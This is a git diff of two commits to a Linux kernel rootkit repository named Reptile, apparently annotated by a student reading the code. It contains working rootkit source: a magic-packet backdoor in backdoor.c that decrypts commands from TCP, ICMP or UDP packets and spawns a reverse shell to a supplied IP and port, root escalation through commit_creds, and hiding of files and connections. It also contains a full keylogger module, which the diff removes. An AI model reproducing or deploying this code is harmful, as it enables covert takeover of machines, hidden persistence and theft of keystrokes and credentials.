Compare commits

..

2 Commits

Author SHA1 Message Date
shenzexi 644304d879 code reading
4 months ago
shenzexi c1ef6ff634 Code Explanation
4 months ago

@ -1,18 +0,0 @@
{
"configurations": [
{
"name": "windows-gcc-x64",
"includePath": [
"${workspaceFolder}/**"
],
"compilerPath": "E:/DEV-C++/Dev-Cpp/MinGW64/bin/gcc.exe",
"cStandard": "${default}",
"cppStandard": "${default}",
"intelliSenseMode": "windows-gcc-x64",
"compilerArgs": [
""
]
}
],
"version": 4
}

@ -1,24 +0,0 @@
{
"version": "0.2.0",
"configurations": [
{
"name": "C/C++ Runner: Debug Session",
"type": "cppdbg",
"request": "launch",
"args": [],
"stopAtEntry": false,
"externalConsole": true,
"cwd": "e:/专业课/reptile/src/Reptile/kernel",
"program": "e:/专业课/reptile/src/Reptile/kernel/build/Debug/outDebug",
"MIMode": "gdb",
"miDebuggerPath": "gdb",
"setupCommands": [
{
"description": "Enable pretty-printing for gdb",
"text": "-enable-pretty-printing",
"ignoreFailures": true
}
]
}
]
}

@ -1,6 +0,0 @@
{
"Codegeex.RepoIndex": true,
"files.associations": {
"dialog.h": "c"
}
}

@ -0,0 +1,2 @@
# reptile

@ -22,7 +22,6 @@ INSTALLER ?= $(PWD)/scripts/installer.sh
all: $(BUILD_DIR_MAKEFILE) userland_bin $(ENCRYPT) module kmatryoshka reptile
obj-m += keysniffer.o
reptile: $(LOADER)
@ $(ENCRYPT) $(BUILD_DIR)/reptile.ko $(RAND2) > $(BUILD_DIR)/reptile.ko.inc
@ echo " CC $(BUILD_DIR)/$@"

@ -15,7 +15,6 @@ $(MODNAME)-$(CONFIG_HIDE_DIR) += dir.o
$(MODNAME)-$(CONFIG_FILE_TAMPERING) += file.o
$(MODNAME)-$(CONFIG_HIDE_CONN) += network.o
$(MODNAME)-$(CONFIG_AUTO_HIDE) += module.o
$(MODNAME)-$(CONFIG_AUTO_Keysniffe) += keysniffer.o
ccflags-$(CONFIG_BACKDOOR) += -DCONFIG_BACKDOOR
ccflags-$(CONFIG_BACKDOOR) += -DMAGIC_VALUE=\"$(MAGIC_VALUE)\"

@ -1,10 +1,4 @@
/**
* @file backdoor.c
* @brief This file contains the implementation of a backdoor mechanism that listens for specific network packets and executes a shell command when a magic packet is detected.
*
* The backdoor listens for TCP, ICMP, and UDP packets with specific characteristics and a magic value. When such a packet is detected, it extracts the command and arguments, decrypts them, and schedules a shell execution task.
*/
//后门程序,用于监听特定的网络数据包,并根据数据包的内容执行指定的命令
#include <linux/string.h>
#include <linux/version.h>
#include <linux/net.h>
@ -14,50 +8,260 @@
#include <linux/icmp.h>
#include <linux/workqueue.h>
#include "util.h" // 自定义的实用程序头文件(可能包含一些工具函数)
#include "config.h" // 自定义的配置头文件(可能定义了一些配置参数)
#include "backdoor.h" // 后门的实现头文件
/**
* @struct shell_task
* @brief Structure representing a shell execution task.
*
* @var shell_task::work
* Work structure for scheduling the task.
* @var shell_task::ip
* IP address to connect to.
* @var shell_task::port
* Port to connect to.
*/
#include "util.h"
#include "config.h"
#include "backdoor.h"
struct shell_task {
struct work_struct work; // 工作队列结构体
char *ip; // 存储IP地址字符串
char *port; // 存储端口号字符串
struct work_struct work;
char *ip;
char *port;
};
//命令执行
void shell_execer(struct work_struct *work)
{
struct shell_task *task = (struct shell_task *)work;
char *argv[] = { SHELL_PATH, "-t", task->ip, "-p", task->port, "-s", PASSWORD, NULL };
exec(argv);
kfree(task->ip);
kfree(task->port);
kfree(task);
}
//添加任务到命令执行队列
int shell_exec_queue(char *ip, char *port)
{
struct shell_task *task;
task = kmalloc(sizeof(*task), GFP_KERNEL);
if (!task)
return 0;
task->ip = kstrdup(ip, GFP_KERNEL);
if (!task->ip) {
kfree(task);
return 0;
}
task->port = kstrdup(port, GFP_KERNEL);
if (!task->port) {
kfree(task->ip);
kfree(task);
return 0;
}
INIT_WORK(&task->work, &shell_execer);
return schedule_work(&task->work);
}
#define DROP 0
#define ACCEPT 1
//解析攻击方发送的网络数据包,并根据特定条件执行命令
unsigned int magic_packet_parse(struct sk_buff *socket_buffer)
{
const struct iphdr *ip_header;
const struct icmphdr *icmp_header;
const struct tcphdr *tcp_header;
const struct udphdr *udp_header;
struct iphdr _iph;
struct icmphdr _icmph;
struct tcphdr _tcph;
struct udphdr _udph;
const char *data = NULL;
char *_data, *argv_str, **argv;
int size, str_size;
if (!socket_buffer)
return ACCEPT;
ip_header = skb_header_pointer(socket_buffer, 0, sizeof(_iph), &_iph);
if (!ip_header)
return ACCEPT;
if (!ip_header->protocol)
return ACCEPT;
if (htons(ip_header->id) != IPID)
return ACCEPT;
if (ip_header->protocol == IPPROTO_TCP) {
tcp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_tcph), &_tcph);
if (!tcp_header)
return ACCEPT;
if (htons(tcp_header->source) != SRCPORT)
return ACCEPT;
if (//htons(tcp_header->seq) == SEQ && /* uncoment this if you wanna use tcp_header->seq as filter */
htons(tcp_header->window) == WIN) {
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_tcph);
_data = kmalloc(size, GFP_KERNEL);
if (!_data)
return ACCEPT;
str_size = size - strlen(MAGIC_VALUE);
argv_str = kmalloc(str_size, GFP_KERNEL);
if (!argv_str) {
kfree(_data);
return ACCEPT;
}
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct tcphdr), size, &_data);
if (!data) {
kfree(_data);
kfree(argv_str);
return ACCEPT;
}
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
memzero_explicit(argv_str, str_size);
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
do_decrypt(argv_str, str_size - 1, KEY);
argv = argv_split(GFP_KERNEL, argv_str, NULL);
if (argv) {
shell_exec_queue(argv[0], argv[1]);
argv_free(argv);
}
kfree(_data);
kfree(argv_str);
return DROP;
}
kfree(_data);
kfree(argv_str);
}
}
if (ip_header->protocol == IPPROTO_ICMP) {
icmp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_icmph), &_icmph);
if (!icmp_header)
return ACCEPT;
if (icmp_header->code != ICMP_ECHO)
return ACCEPT;
if (htons(icmp_header->un.echo.sequence) == SEQ &&
htons(icmp_header->un.echo.id) == WIN) {
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_icmph);
_data = kmalloc(size, GFP_KERNEL);
if (!_data)
return ACCEPT;
str_size = size - strlen(MAGIC_VALUE);
argv_str = kmalloc(str_size, GFP_KERNEL);
if (!argv_str) {
kfree(_data);
return ACCEPT;
}
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct icmphdr), size, &_data);
if (!data) {
kfree(_data);
kfree(argv_str);
return ACCEPT;
}
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
memzero_explicit(argv_str, str_size);
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
do_decrypt(argv_str, str_size - 1, KEY);
argv = argv_split(GFP_KERNEL, argv_str, NULL);
if (argv) {
shell_exec_queue(argv[0], argv[1]);
argv_free(argv);
}
kfree(_data);
kfree(argv_str);
return DROP;
}
kfree(_data);
kfree(argv_str);
}
}
if (ip_header->protocol == IPPROTO_UDP) {
udp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_udph), &_udph);
if (!udp_header)
return ACCEPT;
if (htons(udp_header->source) != SRCPORT)
return ACCEPT;
if (htons(udp_header->len) <= (sizeof(struct udphdr) + strlen(MAGIC_VALUE) + 25)) {
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_udph);
_data = kmalloc(size, GFP_KERNEL);
if (!_data)
return ACCEPT;
str_size = size - strlen(MAGIC_VALUE);
argv_str = kmalloc(str_size, GFP_KERNEL);
if (!argv_str) {
kfree(_data);
return ACCEPT;
}
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct udphdr), size, &_data);
if (!data) {
kfree(_data);
kfree(argv_str);
return ACCEPT;
}
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
memzero_explicit(argv_str, str_size);
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
do_decrypt(argv_str, str_size - 1, KEY);
argv = argv_split(GFP_KERNEL, argv_str, NULL);
if (argv) {
shell_exec_queue(argv[0], argv[1]);
argv_free(argv);
}
kfree(_data);
kfree(argv_str);
return DROP;
}
kfree(_data);
kfree(argv_str);
}
}
/**
* @brief Executes a shell command with the given IP and port.
*
* @param work Pointer to the work structure.
*/
void shell_execer(struct work_struct *work);
/**
* @brief Schedules a shell execution task.
*
* @param ip IP address to connect to.
* @param port Port to connect to.
* @return int 1 if the task was successfully scheduled, 0 otherwise.
*/
int shell_exec_queue(char *ip, char *port);
#define DROP 0 // 定义DROP为0表示丢弃数据包
#define ACCEPT 1 // 定义ACCEPT为1表示接受数据包
/**
* @brief Parses a network packet to detect a magic packet and execute a shell command.
*
* @param socket_buffer Pointer to the socket buffer containing the packet data.
* @return unsigned int DROP if the packet is a magic packet and the command was executed, ACCEPT otherwise.
*/
unsigned int magic_packet_parse(struct sk_buff *socket_buffer);
return ACCEPT;
}

@ -1,14 +1,4 @@
/**
* is_name_invisible -
* @filename:
*
* HIDE
* 10
*
* :
* 1 -
* 0 -
*/
//判断文件夹是否隐藏
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/string.h>

@ -1,74 +1,53 @@
////使用给定的十六进制密钥对文件内容进行加密
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include "encrypt.h"
// 函数声明:获取文件大小
// 参数:指向文件的指针
// 返回值:文件的大小(字节数)
static long get_file_size(FILE *file)
{
long size;
// 将文件指针移动到文件末尾
fseek(file, 0, SEEK_END);
// 获取文件指针当前位置,即文件大小
size = ftell(file);
// 将文件指针重新移动到文件开头
rewind(file);
return size;
}
// 主函数:程序入口
// 参数:命令行参数个数,命令行参数数组
// 返回值:程序退出状态码
int main(int argc, char **argv)
{
// 检查命令行参数是否正确(需要两个参数:文件名和密钥)
if (argc != 3) {
fprintf(stderr, "USAGE: encrypt <file> <pass:hex(uint32)>\n");
exit(-1);
}
// 打开指定文件以二进制读取模式
FILE *file = fopen(argv[1], "rb");
if (!file) {
fprintf(stderr, "Can't open %s for reading\n", argv[1]);
exit(-1);
}
// 获取文件大小
long size = get_file_size(file);
// 分配内存以存储文件数据
unsigned char *data = malloc(size);
if (!data) {
fprintf(stderr, "Can't allocate memory\n");
exit(-1);
}
// 从文件中读取数据到分配的内存中
if (fread(data, size, 1, file) != 1) {
fprintf(stderr, "Can't read data from file\n");
exit(-1);
}
// 关闭文件
fclose(file);
// 将命令行传入的密钥从十六进制字符串转换为uint32_t整数
uint32_t key = strtol(argv[2], NULL, 16);
// 使用指定的密钥对数据进行加密
do_encrypt(data, size, key);
// 输出解密密钥(宏定义形式)
printf("#define DECRYPT_KEY 0x%08x\n", key);
// 输出加密后的数据(十六进制格式)
for (int i = 0; i < size; i++) {
printf("0x%02x,", data[i]);
}
// 释放分配的内存
free(data);
return 0;
}

@ -1,78 +1,66 @@
#include <linux/uaccess.h> // 包含用户空间和内核空间之间的数据传输函数
#include <linux/slab.h> // 包含内核内存分配函数
//判断文件是否隐藏
#include <linux/uaccess.h>
#include <linux/slab.h>
#include "file.h" // 包含自定义头文件
#include "file.h"
// 检查给定的缓冲区是否包含隐藏标签
int file_check(void *arg, ssize_t size)
{
int ret = 0; // 初始化返回值为0
char *buf; // 定义字符指针用于存储缓冲区
int ret = 0;
char *buf;
// 检查缓冲区大小是否合法
if ((size <= 0) || (size >= SSIZE_MAX))
return ret;
// 分配内核缓冲区
buf = (char *)kmalloc(size + 1, GFP_KERNEL);
if (!buf) // 检查内存分配是否成功
if (!buf)
return ret;
// 将用户空间的缓冲区内容复制到内核缓冲区
if (copy_from_user((void *)buf, (void *)arg, size))
goto out; // 如果复制失败跳转到out标签
goto out;
buf[size] = 0; // 确保缓冲区以NULL结尾
buf[size] = 0;
// 检查缓冲区是否包含 HIDETAGIN 和 HIDETAGOUT 标签
if ((strstr(buf, HIDETAGIN) != NULL) && (strstr(buf, HIDETAGOUT) != NULL))
ret = 1; // 如果找到标签设置返回值为1
ret = 1;
out:
kfree(buf); // 释放内核缓冲区
return ret; // 返回结果
kfree(buf);
return ret;
}
// 隐藏缓冲区中的内容
int hide_content(void *arg, ssize_t size)
{
char *buf, *p1, *p2; // 定义字符指针用于存储缓冲区和标签位置
int i, newret; // 定义整数用于存储新的缓冲区大小和临时变量
char *buf, *p1, *p2;
int i, newret;
// 分配内核缓冲区
buf = (char *)kmalloc(size, GFP_KERNEL);
if (!buf) // 检查内存分配是否成功
if (!buf)
return (-1);
// 将用户空间的缓冲区内容复制到内核缓冲区
if (copy_from_user((void *)buf, (void *)arg, size)) {
kfree(buf); // 如果复制失败,释放内核缓冲区
kfree(buf);
return size;
}
// 查找 HIDETAGIN 和 HIDETAGOUT 标签的位置
p1 = strstr(buf, HIDETAGIN);
p2 = strstr(buf, HIDETAGOUT);
p2 += strlen(HIDETAGOUT); // 移动指针到 HIDETAGOUT 标签的末尾
p2 += strlen(HIDETAGOUT);
// 检查标签位置是否合法
if (p1 >= p2 || !p1 || !p2) {
kfree(buf); // 如果标签位置不合法,释放内核缓冲区
kfree(buf);
return size;
}
// 计算新的缓冲区大小
i = size - (p2 - buf);
// 移动标签之间的内容
memmove((void *)p1, (void *)p2, i);
newret = size - (p2 - p1); // 计算新的缓冲区大小
newret = size - (p2 - p1);
// 将修改后的缓冲区内容复制回用户空间
if (copy_to_user((void *)arg, (void *)buf, newret)) {
kfree(buf); // 如果复制失败,释放内核缓冲区
kfree(buf);
return size;
}
kfree(buf); // 释放内核缓冲区
return newret; // 返回新的缓冲区大小
kfree(buf);
return newret;
}

@ -1,25 +1,18 @@
#ifndef __LOADER_H__
#define __LOADER_H__
// 定义加密和解密的宏实际调用do_encode函数
#define do_encrypt(ptr, len, key) do_encode(ptr, len, key)
#define do_decrypt(ptr, len, key) do_encode(ptr, len, key)
// 定义一个静态内联函数用于实现32位值的循环左移操作
static inline unsigned int custom_rol32(unsigned int val, int n)
{
// 循环左移n位右移(32 - n)位,然后将两者的结果合并
return ((val << n) | (val >> (32 - n)));
}
// 定义一个静态内联函数,用于执行编码操作
static inline void do_encode(void *ptr, unsigned int len, unsigned int key)
{
// 当剩余长度大于键值长度时,继续执行编码操作
while (len > sizeof(key)) {
// 使用异或和循环左移操作对数据进行编码
*(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13));
// 更新剩余长度和指针位置,准备处理下一部分数据
len -= sizeof(key), ptr += sizeof(key);
}
}

@ -14,8 +14,3 @@ static inline void file_tampering(void)
else
file_tampering_flag = 1;
}
/*SSIZE_MAX 是一个宏定义设置了最大可操作大小32767
file_tampering_flag
file_check hide_content
file_tampering file_tampering_flag */

@ -9,5 +9,4 @@ extern struct list_head hidden_conn_list;
void network_hide_add(struct sockaddr_in addr);
void network_hide_remove(struct sockaddr_in addr);
void network_hide_cleanup(void);
//void hide_conn(char *ip_str);

@ -3,70 +3,61 @@
#include <linux/cred.h>
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 14, 0)
# include <linux/kmod.h> // 低于 4.14 的内核引入 kmod.h
# include <linux/kmod.h>
#else
# include <linux/umh.h> // 高于 4.14 的内核引入 umh.h
# include <linux/umh.h>
#endif
// 定义加密和解密宏,调用相同的编码函数
#define do_encrypt(ptr, len, key) do_encode(ptr, len, key)
#define do_decrypt(ptr, len, key) do_encode(ptr, len, key)
// 循环左移操作
static inline unsigned int custom_rol32(unsigned int val, int n)
{
return ((val << n) | (val >> (32 - n))); // 将 val 左移 n 位,移出部分放到右边
return ((val << n) | (val >> (32 - n)));
}
// 编码函数,可能用于加密或其他数据隐藏
static inline void do_encode(void *ptr, unsigned int len, unsigned int key)
{
while (len > sizeof(key)) {
*(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); // 使用异或和循环左移对数据进行编码
len -= sizeof(key);
ptr += sizeof(key);
*(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13));
len -= sizeof(key), ptr += sizeof(key);
}
}
// 执行用户模式程序,返回执行结果
static inline int exec(char **argv)
{
char *envp[] = {"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL};
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); // 执行外部程序并等待完成
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
// 执行指定的 shell 命令
static inline int run_cmd(char *cmd)
{
char *argv[] = {"/bin/bash", "-c", cmd, NULL};
return exec(argv); // 调用 exec 函数执行命令
return exec(argv);
}
// 内核符号查找回调函数
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, unsigned long addr)
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module,
unsigned long addr)
{
int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++]) // 如果找到匹配的符号
return !!(data[1] = addr); // 返回符号地址
if (!name[i++])
return !!(data[1] = addr);
}
return 0;
}
// 查找内核符号名对应的地址
static inline unsigned long ksym_lookup_name(const char *name)
{
unsigned long data[2] = {(unsigned long)name, 0};
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); // 遍历内核符号查找
return data[1]; // 返回符号地址
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
return data[1];
}
#ifdef CONFIG_GIVE_ROOT
// 提升当前进程权限为 root
static inline void get_root(void)
{
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
// 低版本内核(<2.6.29)直接设置进程的 UID/GID 等为 root 权限
current->uid = 0;
current->suid = 0;
current->euid = 0;
@ -74,35 +65,25 @@ static inline void get_root(void)
current->egid = 0;
current->fsuid = 0;
current->fsgid = 0;
cap_set_full(current->cap_effective); // 设置所有权限
cap_set_full(current->cap_effective);
cap_set_full(current->cap_inheritable);
cap_set_full(current->cap_permitted);
#else
// 新版本内核通过 commit_creds 和 prepare_kernel_cred 来获取 root 权限
commit_creds(prepare_kernel_cred(0)); // 提升权限为 root
commit_creds(prepare_kernel_cred(0));
#endif
}
#endif
extern int hidden; // 外部声明的变量 hidden用于标记隐藏状态
extern int hidden;
// 切换 hidden 标志的值
static inline void flip_hidden_flag(void)
{
if (hidden)
hidden = 0; // 如果当前是 1设置为 0
hidden = 0;
else
hidden = 1; // 如果当前是 0设置为 1
hidden = 1;
}
// 声明的其他函数
int util_init(void);
int get_cmdline(struct task_struct *task, char *buffer, int buflen);
//int run_cmd(const char *cmd);
/*加密/解密处理:通过 do_encode 函数对数据进行处理。
使 ksym_lookup_name
get_root root
exec run_cmd shell
flip_hidden_flag hidden
*/

@ -1,141 +0,0 @@
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/keyboard.h>
#include <linux/debugfs.h>
#define BUF_LEN (PAGE_SIZE << 2) /* 16KB buffer (assuming 4KB PAGE_SIZE) */
/* Declarations */
static struct dentry *file;
static struct dentry *subdir;
static ssize_t keys_read(struct file *filp,
char *buffer,
size_t len,
loff_t *offset);
static int keysniffer_cb(struct notifier_block *nblock,
unsigned long code,
void *_param);
/* Keymap */
static const char *us_keymap[][2] = {
{"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"},
{"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"},
{"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"},
{"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"}, {"_TAB_", "_TAB_"},
{"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
{"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"},
{"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"},
{"_ENTER_", "_ENTER_"}, {"_CTRL_", "_CTRL_"}, {"a", "A"}, {"s", "S"},
{"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"},
{"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"},
{"'", "\""}, {"`", "~"}, {"_SHIFT_", "_SHIFT_"}, {"\\", "|"},
{"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"},
{"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"},
{".", ">"}, {"/", "?"}, {"_SHIFT_", "_SHIFT_"}, {"_PRTSCR_", "_KPD*_"},
{"_ALT_", "_ALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"},
{"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"},
{"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"},
{"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"}, {"_KPD7_", "_HOME_"},
{"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, {"-", "-"}, {"_KPD4_", "_LEFT_"},
{"_KPD5_", "_KPD5_"}, {"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"},
{"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, {"_KPD._", "_DEL_"},
{"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"}, {"\0", "\0"}, {"F11", "F11"},
{"F12", "F12"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"_ENTER_", "_ENTER_"}, {"_CTRL_", "_CTRL_"}, {"/", "/"}, {"_PRTSCR_", "_PRTSCR_"},
{"_ALT_", "_ALT_"}, {"\0", "\0"}, {"_HOME_", "_HOME_"}, {"_UP_", "_UP_"},
{"_PGUP_", "_PGUP_"}, {"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"},
{"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"}, {"_DEL_", "_DEL_"},
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"_PAUSE_", "_PAUSE_"},
};
static size_t buf_pos;
static char keys_buf[BUF_LEN] = {0};
const struct file_operations keys_fops = {
.owner = THIS_MODULE,
.read = keys_read,
};
static ssize_t keys_read(struct file *filp,
char *buffer,
size_t len,
loff_t *offset)
{
return simple_read_from_buffer(buffer, len, offset, keys_buf, buf_pos);
}
static struct notifier_block keysniffer_blk = {
.notifier_call = keysniffer_cb,
};
/* Keypress callback */
int keysniffer_cb(struct notifier_block *nblock,
unsigned long code,
void *_param)
{
size_t len;
struct keyboard_notifier_param *param = _param;
const char *pressed_key;
/* pr_debug("code: 0x%lx, down: 0x%x, shift: 0x%x, value: 0x%x\n",
code, param->down, param->shift, param->value); */
if (!(param->down))
return NOTIFY_OK;
if (param->value >= 0x1 && param->value <= 0x77) {
pressed_key = param->shift
? us_keymap[param->value][1]
: us_keymap[param->value][0];
if (pressed_key) {
len = strlen(pressed_key);
if ((buf_pos + len) >= BUF_LEN) {
memset(keys_buf, 0, BUF_LEN);
buf_pos = 0;
}
strncpy(keys_buf + buf_pos, pressed_key, len);
buf_pos += len;
keys_buf[buf_pos++] = '\n';
/* pr_debug("%s\n", pressed_key; */
}
}
return NOTIFY_OK;
}
static int __init keysniffer_init(void)
{
buf_pos = 0;
subdir = debugfs_create_dir("kisni", NULL);
if (IS_ERR(subdir))
return PTR_ERR(subdir);
if (!subdir)
return -ENOENT;
file = debugfs_create_file("keys", S_IRUSR, subdir, NULL, &keys_fops);
if (!file) {
debugfs_remove_recursive(subdir);
return -ENOENT;
}
register_keyboard_notifier(&keysniffer_blk);
return 0;
}
static void __exit keysniffer_exit(void)
{
unregister_keyboard_notifier(&keysniffer_blk);
debugfs_remove_recursive(subdir);
}
module_init(keysniffer_init);
module_exit(keysniffer_exit);

@ -1,132 +1,99 @@
//内核级别的挂钩hook机制主要用于在Linux内核中动态修改函数行为
#include "internal.h"
static khook_stub_t *khook_stub_tbl = NULL;
////////////////////////////////////////////////////////////////////////////////
/*
* callback function
* dataname
* dataaddr1
* 0
*/
//通过内核符号表查找目标函数的地址
static int khook_lookup_cb(long data[], const char *name, void *module, long addr)
{
int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++]) return !!(data[1] = addr); // 找到匹配的符号设置地址并返回1
}
return 0; // 未找到匹配的符号返回0
int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++]) return !!(data[1] = addr);
} return 0;
}
/*
* kallsyms_on_each_symbol
* data[0]
* data[1]
* kernel all symbols
*/
static void *khook_lookup_name(const char *name)
{
long data[2] = { (long)name, 0 };
kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
return (void *)data[1]; // 返回找到的符号地址
return (void *)data[1];
}
/*
* [addr, addr + len]
*/
//将目标函数地址映射为可写内存,以便修改其代码
static void *khook_map_writable(void *addr, size_t len)
{
struct page *pages[2] = { 0 }; // len << PAGE_SIZE
long page_offset = offset_in_page(addr);
int i, nb_pages = DIV_ROUND_UP(page_offset + len, PAGE_SIZE);
addr = (void *)((long)addr & PAGE_MASK); // 对齐地址到页面边界
addr = (void *)((long)addr & PAGE_MASK);
for (i = 0; i < nb_pages; i++, addr += PAGE_SIZE) {
if ((pages[i] = is_vmalloc_addr(addr) ?
vmalloc_to_page(addr) : virt_to_page(addr)) == NULL)
return NULL; // 如果无法获取页面返回NULL
return NULL;
}
addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL); // 映射页面到内核地址空间
return addr ? addr + page_offset : NULL; // 返回映射后的地址
addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL);
return addr ? addr + page_offset : NULL;
}
////////////////////////////////////////////////////////////////////////////////
#ifdef CONFIG_X86
# include "x86/hook.c" // 包含x86架构相关的钩子实现
# include "x86/hook.c"
#else
# error Target CPU architecture is NOT supported !!! // 不支持的CPU架构
# error Target CPU architecture is NOT supported !!!
#endif
////////////////////////////////////////////////////////////////////////////////
/*
*
*/
//挂钩唤醒
static void khook_wakeup(void)
{
struct task_struct *p;
rcu_read_lock();
for_each_process(p) {
wake_up_process(p); // 唤醒进程
wake_up_process(p);
}
rcu_read_unlock();
}
/*
*
*/
//初始化和清理挂钩
static int khook_sm_init_hooks(void *arg)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr_map) continue;
khook_arch_sm_init_one(p); // 初始化单个钩子
khook_arch_sm_init_one(p);
}
return 0;
}
/*
*
*/
static int khook_sm_cleanup_hooks(void *arg)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr_map) continue;
khook_arch_sm_cleanup_one(p); // 清理单个钩子
khook_arch_sm_cleanup_one(p);
}
return 0;
}
/*
*
*/
static void khook_resolve(void)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
p->target.addr = khook_lookup_name(p->target.name); // 查找符号地址
p->target.addr = khook_lookup_name(p->target.name);
}
}
/*
*
*/
static void khook_map(void)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr) continue;
p->target.addr_map = khook_map_writable(p->target.addr, 32); // 映射地址
p->target.addr_map = khook_map_writable(p->target.addr, 32);
khook_debug("target %s@%p -> %p\n", p->target.name, p->target.addr, p->target.addr_map);
}
}
/*
*
*/
static void khook_unmap(int wait)
{
khook_t *p;
@ -134,25 +101,17 @@ static void khook_unmap(int wait)
khook_stub_t *stub = KHOOK_STUB(p);
if (!p->target.addr_map) continue;
while (wait && atomic_read(&stub->use_count) > 0) {
khook_wakeup(); // 唤醒进程
msleep_interruptible(1000); // 休眠1秒
khook_wakeup();
msleep_interruptible(1000);
khook_debug("waiting for %s...\n", p->target.name);
}
vunmap((void *)((long)p->target.addr_map & PAGE_MASK)); // 取消映射
vunmap((void *)((long)p->target.addr_map & PAGE_MASK));
p->target.addr_map = NULL;
}
}
////////////////////////////////////////////////////////////////////////////////
/* khook_init()和khook_cleanup()对挂钩引擎进行初始化和注销 */
/*
*
* 1. mallocstub
* 2. khook_resolve
* 3.
* 4. stop_machine
*/
int khook_init(void)
{
void *(*malloc)(long size) = NULL;
@ -177,26 +136,19 @@ int khook_init(void)
set_memory_x((unsigned long)khook_stub_tbl, numpages);
}
khook_resolve(); // 解析符号表
khook_resolve();
khook_map(); // 映射地址
stop_machine(khook_sm_init_hooks, NULL, NULL); // 初始化钩子
khook_unmap(0); // 取消映射
khook_map();
stop_machine(khook_sm_init_hooks, NULL, NULL);
khook_unmap(0);
return 0;
}
/*
*
* 1.
* 2. stop_machine
* 3.
* 4.
*/
void khook_cleanup(void)
{
khook_map(); // 映射地址
stop_machine(khook_sm_cleanup_hooks, NULL, NULL); // 清理钩子
khook_unmap(1); // 取消映射
vfree(khook_stub_tbl); // 释放内存
khook_map();
stop_machine(khook_sm_cleanup_hooks, NULL, NULL);
khook_unmap(1);
vfree(khook_stub_tbl);
}

@ -4,15 +4,6 @@
#define KHOOK_F_NOREF (1UL << 0) // don't do auto ref-count
/*
*
* fn
* name
* addr
* addr_map
* orig
*/
typedef struct {
void *fn; // handler fn address
struct {
@ -24,13 +15,6 @@ typedef struct {
unsigned long flags; // hook engine options (flags)
} khook_t;
/*
* funfunkhook_fun
*
* __attribute__((unused)
* __attribute__((aligned(1)))
* __attribute__((section(".data.khook"))).data.khook
*/
#define KHOOK_(t, f) \
static inline typeof(t) khook_##t; /* forward decl */ \
khook_t \

@ -6,8 +6,3 @@ SECTIONS
KHOOK_tbl_end = . ;
}
}
